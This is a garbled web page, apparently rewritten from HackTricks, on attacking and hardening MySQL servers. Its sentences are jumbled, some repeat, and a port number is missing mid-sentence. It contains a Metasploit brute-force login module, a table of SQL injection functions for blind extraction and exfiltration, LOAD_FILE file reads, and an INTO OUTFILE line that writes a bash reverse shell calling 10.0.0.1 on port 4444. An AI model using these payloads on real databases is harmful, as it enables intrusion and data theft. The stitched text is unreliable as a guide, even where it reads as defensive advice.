Mysql Hacktricks Verified -
MySQL HackTricks Verified: Advanced Injection & Pentesting Techniques (2026 Edition)
Ensure this is set to 127.0.0.1 to prevent external connections. Defending Against These Attacks
: A critical security variable that limits the directories where data can be imported or exported, preventing arbitrary file reads and writes.
The journey to compromising a MySQL server begins with a thorough reconnaissance of the network landscape. The standard MySQL server listens on by default, making it the primary target for external scanning.
When using automated tools like SQLMap, you may encounter the term "verified." This means the injection point has been confirmed as exploitable. However, in the context of HackTricks methodologies, "Verified" takes on a broader meaning: mysql hacktricks verified
Once you have a low-privileged connection, the goal is to gain OS-level access or administrative control. Reading Local Files (LOAD_FILE)
In certain conditions, you might need to write binary data to the file system. HackTricks provides direct methods for this using conversion functions:
: It frequently links to and explains the use of industry-standard tools like sqlmap for automated testing.
-- Write a reverse shell script SELECT "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" INTO OUTFILE '/tmp/rev.sh'; The standard MySQL server listens on by default,
Before attempting an exploit, you must understand the environment. Verified reconnaissance starts with identifying the service and its configuration. 3306
A successful read could reveal user account information or configuration files, leading to further lateral movement.
| Function | Use Case | |---|---| | hex(database()) | Hexadecimal encoding | | conv(hex(database()),16,10) | Hex → Decimal conversion | | replace(database(),"r","R") | Character manipulation | | substr(database(),1,1)='r' | Character extraction | | ascii(substring(database(),1,1))=114 | ASCII value extraction | | group_concat(<COLUMN>) FROM <TABLE> | Combine rows for exfiltration | | sleep(n) | Time‑based blind injections | | benchmark(count, expr) | Alternative time‑based delay |
Do not let just anyone on the internet talk to Port 3306. Lock it down so only trusted web servers can connect. Reading Local Files (LOAD_FILE) In certain conditions, you
This comprehensive guide compiles verified methodologies, advanced exploitation vectors, and robust hardening strategies inspired by the HackTricks methodology. 1. Initial Reconnaissance and Enumeration
use auxiliary/scanner/mysql/mysql_login set RHOSTS set USER_FILE usernames.txt set PASS_FILE passwords.txt run Use code with caution. 4. Post-Authentication Enumeration
Your (Anonymous, low-privilege user, or root/DBA?)
For a complete, interactive version of these steps, you can refer to the official HackTricks MySQL Pentesting Guide 3306 - Pentesting Mysql - HackTricks